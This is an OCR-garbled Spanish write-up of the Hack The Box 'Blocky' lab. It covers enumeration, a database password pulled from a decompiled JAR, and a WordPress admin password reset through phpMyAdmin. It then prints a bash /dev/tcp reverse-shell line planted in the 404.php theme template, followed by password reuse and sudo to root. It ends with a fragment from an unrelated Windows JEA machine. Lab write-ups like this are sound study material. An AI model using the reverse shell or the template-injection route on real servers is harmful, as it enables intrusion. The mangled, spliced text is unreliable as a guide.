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1.Enumeracion

Realizamos un PING a la mdaquina victima para comprobar su TTL. A partir del valor
devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso
podemos deducir que se trata de una maquina Linux.

/home/kali/HTB/Blocky

)1Ng 1 10.10.10.37
PING 10.10.10.37 (10.10.10.37) 56(84) bytes of data.
64 bytes from 10.10.10.37: icmp_seqg=1 ttl=63 time=32.5 ms

— 10.10.10.37 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 32.476/32.476/32.476/0.000 ms

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes
servicios y versiones asociados.

El resultado de Nmap vemos que se intenta redirigir a http://blocky.htb. Creamos la
entrada en nuestro fichero hosts.

/home/kali/HTB/Blocky
/etc/hosts

File: fetc/hosts

Mediante el uso de whatweb, intentamos averiguar las tecnologias del servicio web que
esta disponible en el puerto TCP/80.

/! i/HTB/Blocky
http:// 37
1, IP[10.10.10.37], RedirectLocation[http://bloc
1, 1P[10.10.10.37], JQuery[1.12.4], MetaGene;

]
, PoweredBy[WordPress,WordPress,], Script[text/java

script], Title[Blo
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http://blocky.htb/

Abrimos la web en nuestro navegador y confirmamos las tecnologias con el plugin
wappalyzer.

TECHNOLOGIES MORE INFO ¥ Export
CMSs Operating systems
W WordPress 43 @® Ubuntu
Blogs Databases
W WordPress 43 MysQL
Web servers JavaScript libraries
Apache HTTP T & jQuery
Server
&  jQuery Migrate 1.4.1
Programming languages
php  PHP WordPress themes
&V Twenty Seventeen

Segun la informacion de la propia web, parece que se encuentra aun en desarrollo. El
comentario, no realiza un usuario “notch”. Realizamos un descubrimiento de directorios
por fuerza bruta.

O @ blocky.

s W KaliForums & Kali NetHunter = Exploit-DB % Google Hacking DB ) OffSec
+ New

POSTS

JULY 2, 2017 EDIT

Welcome to BlockyCraft! Search. n

Welcome everyone. The site and server are still under construction so

don't expect too much right now! RECENT POSTS

" . 1
We are currently developing a wiki system for the server and a core Welcome to BlockyCraft

plugin to track player stats and stuff. Lots of great stuff planned for the

future &
RECENT COMMENTS

1. gobuster dir -u http://blocky.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-
list-2.3-medium.txt -t 100

/home/kali/HTB/Blocky
http://blocky.htb /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium. txt 100

Gobuster
TheColonial) & Christian Mehlmauer (@firefart)

ur http://blocky.htb
Method: GET

/wordlists/secli covery/Web-Content/directory-list -medium. txt

uster/3.6

includes/
cript/

561 (100.0
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Revisamos el directorio “wiki”, pero no encontramos nada interesante.

KaliLinux #5 KaliTools « KaliDocs & Kali Forums e Kali NetHunter

Under Construction

Exploit-DB Google Hacking DB OffSec

Please check back later! We will start publishing wiki articles after we have finished the main server plugin!

The new core plugin will store your playtime and other information in our database, so you can see your own stats!

Revisamos el contenido del directorio plugins y descubrimos dos ficheros jar.

Jocs M KaliForums  ex Kali NetHunter Exploit-DB Google Hacking DB OffSec

. BlockyCore.jar . griefprevention-1.1...
520 KB

Con jd-gui, revisamos el contenido del fichero BlockyCore.jar. Conseguimos lo que parece
el usuario de bbdd.

== BlockyCore.jar

@ META-INF % BlockyCore.class
& com.myfirstplugin
& 4 BlockyCore.class

package con. myfirstplugin

=public class Bloc
publi

|1. root: 8YsqfCTnvxAUeduzjNSXe22

Podemos usar dicha credencial con el usuario “notch” para acceder por ssh a la maquina

victima, simplificando la intrusion. No obstante, entendemos que la via intencionada para
acceder a la misma es otra.
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2. Analisis de
vulnerabilidades

En la enumeracién de directorios de la web, vimos que habia un directorio denominado
Phpmyadmin.

¢Qué es Phpmyadmin?
Es una herramienta escrita en PHP con la intencién de manejar la administracion de
MySQL a través de paginas web, utilizando un navegador web.

Usamos la credencial anteriormente obtenida y conseguimos acceso a la aplicaciéon
Phpmyadmin.

<« C @ QO A o~ blocky.htb/phpmyadmin/index.php?token=2671a

KaliLinux # KaliTools « KaliDocs ¥ Kali Forums & Kali NetHunter Exploit-DB Google Hacking DB OffSec

php

oale &% e ) Databases | [ sQL (§, Status =59 User accounts & Export [= Import
© 1) &8

fal Cficerver: localhost

Recent Favorites
Sles General settings

4 New
[ . & Change password
% information_schema
&5 mysal = Server connection collation : | utf8mb4_unicode_ci M

% performance_schema

%L phpmyadmin

B-@ sys ‘.—.,.::..;..‘_: SELLINGS

4. wordpress

Tenemos acceso a modificar la clave del usuario de “notch”, para la web de WordPress,
desde Phpmyadmin. Primero debemos codificar la clave que queramos poner. Podemos
usar para ello esta web.

Wordpress Password Hash Generator

Enter Password or click refresh icon to Generate random password.
test1234)

Image Verification *

\/ I'm not a robot

Generate Hash
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Wordpress Password Hash Generator
Password I L ‘ test1234
= » .

Hash lg | $P$BwWUPki4WupOL54BUbyBw1FFwiqNyd00

|
SQL Query [a %UPDATE ‘wp_users’ SET ‘user_pass’ = '$P$BwUpki4WupOL54BUbyBw1FFwIgNyd00' WHERE user_login =

= |your_user_name

I 4

Compatibility Wordpress v3.x, v4.x, v5.x, v6.x and new versions

Actualizamos la clave que acabamos de generar.

UPDATE ‘wp_users' SET ‘user_pass’ = 'SP$BiV0T]899ItSIEZnMhqeavbrZI40qe/* WHERE "wp_users'.'ID" = 1;

[ show all | Number of rows: |25 ~ Filter rows:

+ Options
—T—

[ & Edit 3iCopy @ Delete 1 Notch

+ 1 row affected.

¥ ID user login user_pass

$P$BiVOT|8991tS1EZNMhqeqVbrzZi40q0/ notch notch@blockcraftfake.com

user_url user registered

2017-07-02 23:49:07

[ Edit inline ] [ Edit 1 [

user activation_key user status display_name

0 MNotch

3. Explotacidn y acceso

Accedemos a la administracion del Wordpress con el usuario “notch” y clave “test1234”.

Dashboard
Hom
Welcome to WordPress!
» ’ '
Get Started Next Steps
B Wit
= K
2 (<]
2 Appe
[
& Ata Glance Quick Draft
2 1p ]
L]
o
Activity

Tenemos una via potencial de ganar acceso a la maquina victima siguiente este enlace.

Por tanto, modificamos la plantilla de error 404.php.
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https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/wordpress#panel-rce

@ Dashireand Edit Themes
A Posts Twenty Seventeen: 404 Template (404.php)
07 Media <7php

Vii

[N Pages

* The template for displaying 404 pages (not found)

C t .
® Comments @link https://codex.wordpress.org/Creating an_Error_404 Page

M Appearance @package WordPress
@subpackage Twenty Seventeen
@since 1.0

@version 1.0

/

system("bash -c 'bash -i >& /dev/tcp/10.10.14.4/443 0>&1'");

L= X @ Q  blocky.htb/wp-

KaliLinux # KaliTools ¢ KaliDocs X Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

/home/kali/HTB/Blocky
) 443
listening on [any] 443
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.37] 60494
bash: cannot set terminal process group (1487): Inappropriate ioctl for device
bash: no job control in this shell
wwi-data@Blocky: /var/wm/html/wp-content/themes/twentyseventeen$ [J

4. Movimiento lateral

Tras realizar el tratamiento de la TTY habitual, comprobamos que estamos en la maquina
victima, y no en un contenedor o similar.

¥ hostname -I

“notch”.

1/html /wp-content/themes/twentyseventeen$ cat /etc/passwd
ot:/bin/bash

e 11 2Ahome/notch: /bin/bash
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Comprobamos si se esta realizando una reutilizacion de contrasefas.

Password:
notchaBlocky:/var/ww,/html/wp-content,/themes/twentyseventeen$ whoami

notch
notch@Blocky:/var/wm /html/wp-content/themes/twentyseventeen$ |

5. Escalada de privilegios

Comprobamos los permisos de sudoers que tenemos, y vemos que tenemos una via
directa de convertirnos en root.

notch@Blocky:/var/wmw/html /wp-content/themes/twentyseventeen$ sudo -1
[sudeo] for notch:
Matchin wlts entries for notch on Blocky:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/binh:/usr/sbin:/usr/bin\:/sbiny:/biny:/snap/bin

User notch may run the following commands on Blocky:
(ALL : AL
notch@Blocky:/var/wmw/html/wp-content/themes/twentyseventeen$ ||

Ejecutamos “sudo su” y conseguimos resolver la maquina.

notch@Blocky: /var/ww /html/wp-content/themes/twentyseventeen
root@Blocky:/var/www/html/wp-content/themes/twentyseventeen# whoami

root
root@Blocky:/var/wwm /html/wp-content/themes/twentyseventeen# |
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Sin embargo, nos devuelve un error de “ACCESS_DENIED”.

Revisamos la documentacion y parece que puede que nos falte el parametro
ConfigurationName. Probamos de nuevo.

1. Enter-PSSession -Computer 10.10.10.210 -credential $cred -Authentication Negotiate -ConfigurationName
jea_test_account

Logramos acceder al sistema. Ya solo nos queda leer la flag de root. Para ello, usamos la
funcion definida “Check-file”, que vimos anteriormente. En esta maquina, no esta
pensada para que puedas convertirte en administrador, de una forma interactiva.

|1. Check-File C:\ProgramData\..\Users\Administrator\Desktop\root.txt
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